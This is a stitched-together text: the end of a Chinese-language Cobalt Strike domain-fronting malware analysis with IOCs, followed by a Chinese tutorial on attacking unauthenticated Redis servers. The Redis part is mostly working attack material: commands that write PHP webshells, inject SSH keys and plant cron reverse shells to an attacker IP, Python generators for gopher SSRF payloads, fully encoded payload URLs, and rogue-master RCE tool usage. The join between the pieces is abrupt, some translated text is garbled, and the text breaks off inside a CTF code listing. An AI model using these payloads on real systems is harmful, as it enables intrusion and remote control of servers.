加载程序接下来调用VirtualProtect函数，将虚拟内存页权限设置为读写执行，并写入将在新线程中执行的Cobalt Strike信标的映像库。
函数将虚拟内存页权限设置为读写执行
我们发现两个库在运行时链接。除此之外，还有其他几个标准库在运行时与恶意软件链接。
在运行时加载库的函数
分配虚拟内存并将页面权限设置为读写执行后，将执行解密例程，对`.kxrt`部分中剩余的恶意代码进行解密并将其写入虚拟内存。
解密信标DLL的解码器例程
解密的恶意代码是实际的攻击信标。一旦解码，加载程序的执行跳转到DLL的开头，导致信标反射加载到加载程序进程内存中。该信标现在负责解码配置。
从信标配置加载的信息的堆栈视图
信标通过调用`WinHTTPGetProxyForUrlEx`和`WinHTTPCreateProxyResolve`r绕过URL的代理来解析代理。
用于解析URL的受害者系统代理的函数
此后不久，信标向C2服务器发起Cobalt
Strike信标通信。初始主机的DNS请求解析为Cloudflare拥有的IP地址，该地址允许攻击者使用域前置并将流量发送到实际的C2主机test[.]softlemon[.]net，该域名也由Cloudflare代理。
在分析时，样本C2主机基础设施未在线，我们收到404错误。
Cobalt Strike信标流量
信标使用的技术有GetTickCount、IsDebuggerPresent和NtDelayExecution调用检测调试器的，用来延迟恶意软件的执行，从而规避基于沙盒的动态分析系统。信标还可以管理系统电源策略注册表项，以设置最小和最大睡眠时间以及盖子打开和关闭操作策略。
信标修改受害者在注册表中的系统电源和盖子打开/关闭策略
## 指挥与控制
C2服务器test[.]softlemon[.]网是softlemon[.]网的子域。直到2019年8月，softlemon[.]net域名才在谷歌域名下注册，并可能在那时候就过期了。该攻击者于2021年8月5日重新注册了该域。序列号为`4AA6AF6D719BFDD1C6DFF3D7B640AED7EE3`的域softlemon[.]net的SSL证书由免费SSL证书提供商Let's
Encrypt颁发。 Talos声誉引擎已将其归类为不受信任的域，Cisco
Umbrella在2021年9月显示DNS查询量激增。这一攻击与早些时候说明的Cobalt
Strike信标的演变是一致的。攻击者在9月初开始检测数字新闻领域前置的信标。
test[.]softlemon[.]净查询与日期的DNS峰值
我们的研究发现C2 `test[.]softlemon[.]net`是一个运行Internet信息服务（IIS）的Windows服务器。
从主机test[.]softlemon[.]net提供的IIS服务响应
根据Shodan的说法，俄罗斯提供商托管的IP地址`193[.]135[.]134[.]124`可能是受Cloudflare基础设施保护的真实C2
IP地址，因为端口8443上提供的SSL证书属于Cloudflare，并将X509v3主体备选名称列为`DNS:*.softlemon.net`。
## 结论
域前置是攻击者利用DNS过滤规避保护的一种技术。在此攻击中，恶意Cobalt
Strike信标被配置为利用Cloudflare和其他内容分发网络使用的机制，去指示代理用于服务内容的主机。
当信标启动时，它将提交一个针对Cloudflare
infrastructure背后托管的合法高信誉域的DNS请求，并修改后续HTTPs请求标头，以指示CDN将流量定向到攻击者控制的主机。
安全员应监控其网络流量，甚至监控高信誉域的流量，以便使用Cobalt
Strike和其他攻击工具识别潜在的域正面攻击。XDR工具应部署到端点，以便检测Cobalt Strike装载程序和Meterpreter
储存器的行为，因为它们经常被各种攻击者使用。
## IOCs
### Hashes
658d550322cefa6efc51fbfd1a3e02839d1e519a20f8f17f01c534c0eaf36f27
e806e55713b9e46dc7896521ffb9a8b3abaa597147ea387ff2e93a2469546ba9
a0aec3e9cb3572a71c59144e9088d190b4978056c5c72d07cb458480213f2964
## Network IOCs
### 主机
test[.]softlemon[.]net
dark-forest-002.president[.]workers[.]dev
### IP 地址
193[.]135[.]134[.]124[.]192
### URLs
hxxp://test[.]softlemon[.]net:8081/api/3 hxxp://test[.]softlemon[.]net/
tcp://test[.]softlemon[.]net:8080/ hxxps://193[.]135[.]134[.]124:8443
hxxp://193[.]135[.]134[.]124:8080 hxxp://193[.]135[.]134[.]124:8081
* * * | 社区文章 |
# 浅入深出 Redis 攻击方法总结
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Redis是什么？
Redis是数据库的意思。Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI
C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。
Redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted
set
—有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。与memcached一样，为了保证效率，数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件，并且在此基础上实现了master-slave(主从)同步。
Redis运行在内存中但是可以持久化到磁盘，所以在对不同数据集进行高速读写时需要权衡内存，因为数据量不能大于硬件内存。在内存数据库方面的另一个优点是，相比在磁盘上相同的复杂的数据结构，在内存中操作起来非常简单，这样Redis可以做很多内部复杂性很强的事情。同时，在磁盘格式方面他们是紧凑的以追加的方式产生的，因为他们并不需要进行随机访问。
Redis的出现，很大程度补偿了memcached这类key/value存储的不足，在部分场合可以对关系数据库起到很好的补充作用。
## Redis 基本语法
### Redis 配置
Redis 的配置文件位于 Redis 安装目录下，文件名为 **redis.conf** (Windows
名为redis.windows.conf)。你可以通过 **CONFIG** 命令 **查看** 或 **设置** 配置项。
**Redis CONFIG 查看配置命令格式如下：**
redis 127.0.0.1:6379> CONFIG GET CONFIG_SETTING_NAME
使用 ***** 号获取所有配置项：
redis 127.0.0.1:6379> CONFIG GET *
1) "dbfilename"
2) "dump.rdb"
3) "requirepass"
4) ""
5) "masterauth"
6) ""
7) "unixsocket"
8) ""
9) "logfile"
......
**编辑配置**
你可以通过修改 redis.conf 文件或使用 **CONFIG set** 命令来修改配置。
**CONFIG SET** 命令基本语法：
redis 127.0.0.1:6379> CONFIG SET CONFIG_SETTING_NAME NEW_CONFIG_VALUE
**实例**
redis 127.0.0.1:6379> CONFIG SET loglevel "notice"
OK
redis 127.0.0.1:6379> CONFIG GET loglevel
1) "loglevel"
2) "notice"
**参数说明**
几个redis.conf 配置项说明如下：
配置项 | 说明
---|---
`port 6379` | 指定 Redis 监听端口，默认端口为 6379
`bind 127.0.0.1` | 绑定的主机地址
`timeout 300` | 当客户端闲置多长秒后关闭连接，如果指定为 0 ，表示关闭该功能
`databases 16` | 设置数据库的数量，默认数据库为0，可以使用 SELECT 命令在连接上指定数据库id
`save <seconds> <changes>` | 指定在多长时间内，有多少次更新操作，就将数据同步到数据文件，可以多个条件配合
`dbfilename dump.rdb` | **指定本地数据库文件名，默认值为 dump.rdb**
`dir ./` | **指定本地数据库存放目录**
详情请见：<https://www.657260.com/redis/redis-conf.html>
### Redis 命令
Redis 命令用于在 redis 服务上执行操作。要在 redis 服务上执行命令需要一个 redis 客户端。Redis 客户端在我们之前下载的的
redis 的安装包中。
**Redis 客户端的基本语法为：**
$ redis-cli
以下实例讲解了如何启动 redis 客户端：
启动 redis 客户端，打开终端并输入命令 **redis-cli** 。该命令会连接本地的 redis 服务。
$ redis-cli
redis 127.0.0.1:6379>
redis 127.0.0.1:6379> PING
PONG
在以上实例中我们连接到本地的 redis 服务并执行 **PING** 命令，该命令用于检测 redis 服务是否启动，如果服务器运作正常的话，会返回一个
PONG 。
**在远程服务上执行命令**
如果需要在远程 redis 服务上执行命令，同样我们使用的也是 **redis-cli** 命令。
**语法**
$ redis-cli -h host -p port -a password
以下实例演示了如何连接到主机为 127.0.0.1，端口为 6379 ，密码为 mypass 的 redis 服务上。
$redis-cli -h 127.0.0.1 -p 6379 -a "mypass"
redis 127.0.0.1:6379>
redis 127.0.0.1:6379> PING
PONG
### SET 命令
Redis SET 命令用于设置给定 key 的值。如果 key 已经存储其他值， SET 就覆写旧值，且无视类型。
redis SET 命令基本语法如下：
redis 127.0.0.1:6379> SET KEY_NAME VALUE
### Get 命令
Redis Get 命令用于获取指定 key 的值。如果 key 不存在，返回 nil 。
redis Get 命令基本语法如下：
redis 127.0.0.1:6379> GET KEY_NAME
### Flushall 命令
Redis Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。
redis Flushall 命令基本语法如下：
redis 127.0.0.1:6379> FLUSHALL
### Redis 数据备份与恢复
Redis **SAVE** 命令用于创建当前数据库的备份。Save 命令执行一个同步保存操作，将当前 Redis
实例的所有数据快照(snapshot)以默认 RDB 文件的形式保存到硬盘。
redis Save 命令基本语法如下：
redis 127.0.0.1:6379> SAVE
OK
该命令将在 redis 安装目录中创建dump.rdb文件。
**恢复数据**
如果需要恢复数据，只需将备份文件 (dump.rdb) 移动到 redis 安装目录并启动服务即可。获取 redis 目录可以使用 **CONFIG**
命令，如下所示：
redis 127.0.0.1:6379> CONFIG GET dir
1) "dir"
2) "/usr/local/redis/bin"
以上命令 **CONFIG GET dir** 输出的 redis 安装目录为 /usr/local/redis/bin。
### Redis 安全
我们可以通过 redis 的配置文件设置密码参数， **这样客户端连接到 redis 服务就需要密码验证** ，这样可以让你的 redis 服务更安全。
我们可以通过以下命令查看是否设置了密码验证：
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) ""
**默认情况下 requirepass 参数是空的，也就是说默认情况下是无密码验证的，这就意味着你无需通过密码验证就可以连接到 redis 服务。**
你可以通过以下命令来修改该参数：
127.0.0.1:6379> CONFIG set requirepass "657260"
OK
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) "657260"
设置密码后，客户端连接 redis 服务就需要密码验证，否则无法执行命令。
**语法**
**AUTH** 命令基本语法格式如下：
127.0.0.1:6379> AUTH password
该命令用于检测给定的密码和配置文件中的密码是否相符。
redis Auth 命令基本语法如下：
redis 127.0.0.1:6379> AUTH PASSWORD
密码匹配时返回 OK ，否则返回一个错误。
实例
127.0.0.1:6379> AUTH "657260"
OK
127.0.0.1:6379> SET mykey "Test value"
OK
127.0.0.1:6379> GET mykey
"Test value"
## Redis 环境搭建
**第一步：** ubuntu中下载安装Redis并解压：
wget http://download.redis.io/releases/redis-5.0.12.tar.gz
tar -zxvf redis-5.0.12.tar.gz
**第二步：** 下载并解压好以后，进入到Redis目录中，执行 `make`，通过make编译的方式来安装：
make
如上图提示 “It’s a good idea to run ‘make test’ “ 则代表编译安装成功。
**第四步：** make结束后，进入src目录，将redis-server和redis-cli拷贝到/usr/bin目录下（这样启动redis-server和redis-cli就不用每次都进入安装目录了）
cd src
cp redis-cli /usr/bin
cp redis-server /usr/bin
**第五步：** 返回redis-2.8.17目录，将redis.conf拷贝到/etc目录下。
cd ../
cp redis.conf /etc
**第六步：** 使用/etc目录下的reids.conf文件中的配置启动redis服务：
redis-server /etc/redis.conf
## Redis 未授权访问漏洞
Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将
Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空），会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis
的数据。攻击者在未授权访问 Redis 的情况下，可以利用 Redis 自身的提供的 config
命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。其思路都是一样的，就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等，然后将dbfilename（本地数据库文件名）设置为文件名你想要写入的文件名称，最后再执行save或bgsave保存，则我们就指定的目录里写入指定的文件了。
**简单说，漏洞的产生条件有以下两点：**
* redis 绑定在 0.0.0.0:6379，且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略，直接暴露在公网。
* 没有设置密码认证（一般为空），可以免密码远程登录redis服务。
**漏洞危害：**
* 攻击者无需认证就可以访问到内部数据，可能导致敏感信息泄露，黑客也可以恶意执行flushall来清空所有数据；
* 攻击者可通过EVAL执行lua代码，或通过数据备份功能往磁盘写入后门文件；
* 最严重的情况，如果Redis以root身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器。
下面我们对 Redis 未授权访问漏洞进行测试。
**实验环境：**
* 攻击机Kali：192.168.43.247
* 受害机Ubuntu：192.168.43.82
此时受害机Ubuntu中的Redis服务（作为服务端）已经启动了，作为攻击机的kali系统，需要按照之前的步骤同样安装Redis（作为客户端）。安装成功后在攻击机上使用redis客户端直接无账号成功登录Ubuntu上的Redis服务端，并且成功列出服务端Redis的信息：
redis-cli -h 192.168.43.82
### 利用 Redis 写入 Webshell
**利用条件：**
* 服务端的Redis连接存在未授权，在攻击机上能用redis-cli直接登陆连接，并未登陆验证。
* 开了服务端存在Web服务器，并且知道Web目录的路径（如利用phpinfo，或者错误爆路经），还需要具有文件读写增删改查权限。
我们可以将dir设置为/var/www/html目录，将指定本地数据库存放目录设置为/var/www/html；将dbfilename设置为文件名shell.php，即指定本地数据库文件名为shell.php；再执行save或bgsave，则我们就可以写入一个路径为/var/www/html/shell.php的Webshell文件。
原理就是在数据库中插入一条Webshell数据，将此Webshell的代码作为value，key值随意（x），然后通过修改数据库的默认路径为/var/www/html和默认的缓冲文件shell.php，把缓冲的数据保存在文件里，这样就可以在服务器端的/var/www/html下生成一个Webshell。
操作步骤：
config set dir /var/www/html/
config set dbfilename shell.php
set xxx "<?php eval($_POST[whoami]);?>"
save
这里需要注意的是第三步写webshell的时候，可以使用：
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"
`\r\n\r\n`
代表换行的意思，用redis写入文件的会自带一些版本信息，如果不换行可能会导致无法执行，查看/var/www/html/目录下的shell.php文件内容。如下图所示，写入成功：
蚁剑连接，连接成功：
### 利用 Redis 写入 SSH 公钥
**利用条件：**
* 服务端的Redis连接存在未授权，在攻击机上能用redis-cli直接登陆连接，并未登陆验证。
* 服务端存在.ssh目录并且有写入的权限
原理就是在数据库中插入一条数据，将本机的公钥作为value，key值随意，然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys，把缓冲的数据保存在文件里，这样就可以在服务器端的/root/.ssh下生成一个授权的key。
首先在攻击机的/root/.ssh目录里生成ssh公钥key：
ssh-keygen -t rsa
接着将公钥导入key.txt文件（前后用\n换行，避免和Redis里其他缓存数据混合），再把key.txt文件内容写入服务端Redis的缓冲里：
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.43.82 -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。
然后，使用攻击机连接目标机器Redis，设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys，并将数据保存在目标服务器硬盘上
redis-cli -h 192.168.43.82
config set dir /root/.ssh
config set dbfilename authorized_keys
save
最后，使用攻击机ssh连接目标受害机即可：
ssh 192.168.43.82
如上图所示，成功连接。
### 利用 Redis 写入计划任务
原理就是在数据库中插入一条数据，将计划任务的内容作为value，key值随意，然后通过修改数据库的默认路径为目标主机计划任务的路径，把缓冲的数据保存在文件里，这样就可以在服务器端成功写入一个计划任务进行反弹shell。
首先在攻击机kali上开启监听：
nc -lvp 2333
然后连接服务端的Redis，写入反弹shell的计划任务：
redis-cli -h 192.168.142.153
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.43.247/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
如下图所示，经过一分钟以后，在攻击机的nc中成功反弹shell回来：
> **这个方法只能Centos上使用，Ubuntu上行不通，原因如下：**
>
> *
> 因为默认redis写文件后是644的权限，但ubuntu要求执行定时任务文件`/var/spool/cron/crontabs/<username>`权限必须是600也就是-> rw———-才会执行，否则会报错(root) INSECURE MODE (mode 0600
> expected)，而Centos的定时任务文件`/var/spool/cron/<username>`权限644也能执行
> * 因为redis保存RDB会存在乱码，在Ubuntu上会报错，而在Centos上不会报错
>
>
> **由于系统的不同，crontrab定时文件位置也会不同：**
>
> * Centos的定时任务文件在`/var/spool/cron/<username>`
> * Ubuntu定时任务文件在`/var/spool/cron/crontabs/<username>`
>
## Redis 未授权访问漏洞在 SSRF 中的利用
在SSRF漏洞中，如果通过端口扫描等方法发现目标主机上开放6379端口，则目标主机上很有可能存在Redis服务。此时，如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话，那我们就可以利用Gopher协议远程操纵目标主机上的Redis，可以利用
Redis 自身的提供的 config
命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等，其思路都是一样的，就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等，然后将dbfilename（本地数据库文件名）设置为文件名你想要写入的文件名称，最后再执行save或bgsave保存，则我们就指定的目录里写入指定的文件了。
**实验环境：**
* 攻击机Kali：192.168.43.247
* 受害机Ubuntu：192.168.43.82
假设受害机上存在Web服务并且存在SSRF漏洞，通过SSRF进行端口扫描我们发现目标主机在6379端口上运行着一个Redis服务。下面我们就来演示如何通过SSRF漏洞去攻击Redis服务。
### 绝对路径写WebShell
首先构造redis命令：
flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
然后写一个脚本，将其转化为Gopher协议的格式（脚本时从网上嫖的，谁让我菜呢~~~大佬勿喷）：
import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
执行该脚本后生成payload如下：
这里将生成的payload要进行url二次编码（因为我们发送payload用的是GET方法），然后利用Ubuntu服务器上的SSRF漏洞，将二次编码后的payload打过去就行了：
ssrf.php?url=gopher%3A%2F%2F192.168.43.82%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
如下所示，成功在受害主机上面写入WebShell：
蚁剑连接成功：
### 写入SSH公钥
同样，我们也可以直接这个存在Redis未授权的主机的~/.ssh目录下写入SSH公钥，直接实现免密登录，但前提是~/.ssh目录存在，如果不存在我们可以写入计划任务来创建该目录。
首先在攻击机的/root/.ssh目录里生成ssh公钥key：
ssh-keygen -t rsa
将生成的id_rsa.pub里的内容复制出来构造redis命令：
flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC96S69JNdIOUWoHYOvxpnQxHAVZHl25IkDFBzTbDIbJBBABu8vqZg2GFaWhTa2jSWqMZiYwyPimrXs+XU1kbP4P28yFvofuWR6fYzgrybeO0KX7YmZ4xN4LWaZYEeCxzJrV7BU9wWZIGZiX7Yt5T5M3bOKofxTqqMJaRP7J1Fn9fRq3ePz17BUJNtmRx54I3CpUyigcMSTvQOawwTtXa1ZcS056mjPrKHHBNB2/hKINtJj1JX8R5Uz+3six+MVsxANT+xOMdjCq++1skSnPczQz2GmlvfAObngQK2Eqim+6xewOL+Zd2bTsWiLzLFpcFWJeoB3z209solGOSkF8nSZK1rDJ4FmZAUvl1RL5BSe/LjJO6+59ihSRFWu99N3CJcRgXLmc4MAzO4LFF3nhtq0YrIUio0qKsOmt13L0YgSHw2KzCNw4d9Hl3wiIN5ejqEztRi97x8nzAM7WvFq71fBdybzp8eLjiR8oq6ro228BdsAJYevXZPeVxjga4PDtPk= root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
然后编写脚本，将其转化为Gopher协议的格式：
import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC96S69JNdIOUWoHYOvxpnQxHAVZHl25IkDFBzTbDIbJBBABu8vqZg2GFaWhTa2jSWqMZiYwyPimrXs+XU1kbP4P28yFvofuWR6fYzgrybeO0KX7YmZ4xN4LWaZYEeCxzJrV7BU9wWZIGZiX7Yt5T5M3bOKofxTqqMJaRP7J1Fn9fRq3ePz17BUJNtmRx54I3CpUyigcMSTvQOawwTtXa1ZcS056mjPrKHHBNB2/hKINtJj1JX8R5Uz+3six+MVsxANT+xOMdjCq++1skSnPczQz2GmlvfAObngQK2Eqim+6xewOL+Zd2bTsWiLzLFpcFWJeoB3z209solGOSkF8nSZK1rDJ4FmZAUvl1RL5BSe/LjJO6+59ihSRFWu99N3CJcRgXLmc4MAzO4LFF3nhtq0YrIUio0qKsOmt13L0YgSHw2KzCNw4d9Hl3wiIN5ejqEztRi97x8nzAM7WvFq71fBdybzp8eLjiR8oq6ro228BdsAJYevXZPeVxjga4PDtPk= root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
执行该脚本后生成payload，同样将生成的payload进行url二次编码，然后利用受害机上的SSRF打过去：
ssrf.php?url=gopher%3A%2F%2F192.168.43.82%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%2524566%250D%250A%250A%250Assh-rsa%2520AAAAB3NzaC1yc2EAAAADAQABAAABgQC96S69JNdIOUWoHYOvxpnQxHAVZHl25IkDFBzTbDIbJBBABu8vqZg2GFaWhTa2jSWqMZiYwyPimrXs%252BXU1kbP4P28yFvofuWR6fYzgrybeO0KX7YmZ4xN4LWaZYEeCxzJrV7BU9wWZIGZiX7Yt5T5M3bOKofxTqqMJaRP7J1Fn9fRq3ePz17BUJNtmRx54I3CpUyigcMSTvQOawwTtXa1ZcS056mjPrKHHBNB2%2FhKINtJj1JX8R5Uz%252B3six%252BMVsxANT%252BxOMdjCq%252B%252B1skSnPczQz2GmlvfAObngQK2Eqim%252B6xewOL%252BZd2bTsWiLzLFpcFWJeoB3z209solGOSkF8nSZK1rDJ4FmZAUvl1RL5BSe%2FLjJO6%252B59ihSRFWu99N3CJcRgXLmc4MAzO4LFF3nhtq0YrIUio0qKsOmt13L0YgSHw2KzCNw4d9Hl3wiIN5ejqEztRi97x8nzAM7WvFq71fBdybzp8eLjiR8oq6ro228BdsAJYevXZPeVxjga4PDtPk%253D%2520root%2540kali%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252411%250D%250A%2Froot%2F.ssh%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252415%250D%250Aauthorized_keys%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
如下图，成功在受害机上面写入SSH公钥：
如下图，ssh连接成功：
### 创建计划任务反弹Shell
注意：这个只能在Centos上使用，别的不行，原因上面已经说过了。
构造redis的命令如下：
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.43.247/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
然后编写脚本，将其转化为Gopher协议的格式：
import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
reverse_ip="192.168.43.247"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(cron.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
生成的payload同样进行url二次编码，然后利用Ubuntu服务器上的SSRF打过去，即可在受害机上面写入计划任务，等到时间后，攻击机上就会获得目标主机的shell。
## Redis 基于主从复制的命令执行
### Redis 主从复制
Redis是一个使用ANSI
C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中，当读写体量比较大的时候，服务端就很难承受。为了应对这种情况，Redis就提供了主从模式，主从模式就是指使用一个redis实例作为主机，其他实例都作为备份机（从机），其中主机和从机数据相同，而从机只负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。
### Redis 主从复制进行 RCE
在2019年7月7日结束的WCTF2019 Final上，LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于Redis
4.x/5.x的RCE利用方式，比起以前的利用方式来说，这种利用方式更为通用，危害也更大。
在Reids
4.x之后，Redis新增了模块功能，通过外部拓展，可以在Redis中实现一个新的Redis命令。我们可以通过外部拓展（.so），在Redis中创建一个用于执行系统命令的函数。
**实验环境：**
* 攻击机Kali：192.168.43.247
* 受害机Ubuntu：192.168.43.82
### 利用 redis-rogue-server 工具
* 下载地址：<https://github.com/n0b0dyCN/redis-rogue-server>
该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机（master），该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后，就会远程连接目标Redis服务器，通过
`slaveof`
命令将目标Redis服务器设置为我们恶意Redis的Redis从机（slaver）。然后将恶意Redis主机上的exp同步到Reids从机上，并将dbfilename设置为exp.so。最后再控制Redis从机（slaver）加载模块执行系统命令即可。
但是该无法数据Redis密码进行Redis认证，也就是说该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具的。
使用方法：
python3 redis-rogue-server.py --rhost 192.168.43.82 --lhost 192.168.43.247
# python3 redis-rogue-server.py --rhost rhost --lhost lhost
执行后，可以选择获得一个交互式的shell（interactive shell）或者是反弹shell（reserve shell）：
比如我们选择 `i` 来获得一个交互式的shell，执行在里面执行系统命令即可：
也可以选择 `r` 来获得一个反弹shell：
前面说了，该工具只能在目标存在Redis未授权访问漏洞时使用，当目标Redis存在密码时是不能使用该工具的。所以我们还要看看别的工具。
### 利用 redis-rce 工具
* 下载地址：<https://github.com/Ridter/redis-rce>
可以看到该工具有一个 `-a` 选项，可以用来进行Redis认证。
但是这个工具里少一个exp.so的文件，我们还需要去上面那个到 [redis-rogue-server](https://link.zhihu.com/?target=https%3A//github.com/n0b0dyCN/redis-rogue-server) 工具中找到exp.so文件并复制到redis-rce.py同一目录下，然后执行如下命令即可：
python3 redis-rce.py -r 192.168.43.82 -L 192.168.43.247 -f exp.so -a 657260
# python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password
执行后，同样可以选择获得一个交互式的shell（interactive shell）或者是反弹shell（reserve shell）：
比如我们选择 `i` 来获得一个交互式的shell，执行在里面执行系统命令即可：
也可以选择 `r` 来获得一个反弹shell：
### Redis 主从复制在 SSRF 中的利用
这里，我们通过 [[网鼎杯 2020
玄武组]SSRFMe](https://buuoj.cn/challenges#%5B%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E7%8E%84%E6%AD%A6%E7%BB%84%5DSSRFMe)
这道 CTF 题目来演示。
进入题目，给出源码：
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
{
die('url fomat error');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
function safe_request_url($url)
{
if (check_inner_ip($url))
{
echo $url.' is inner ip';
}
else
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url'])
{
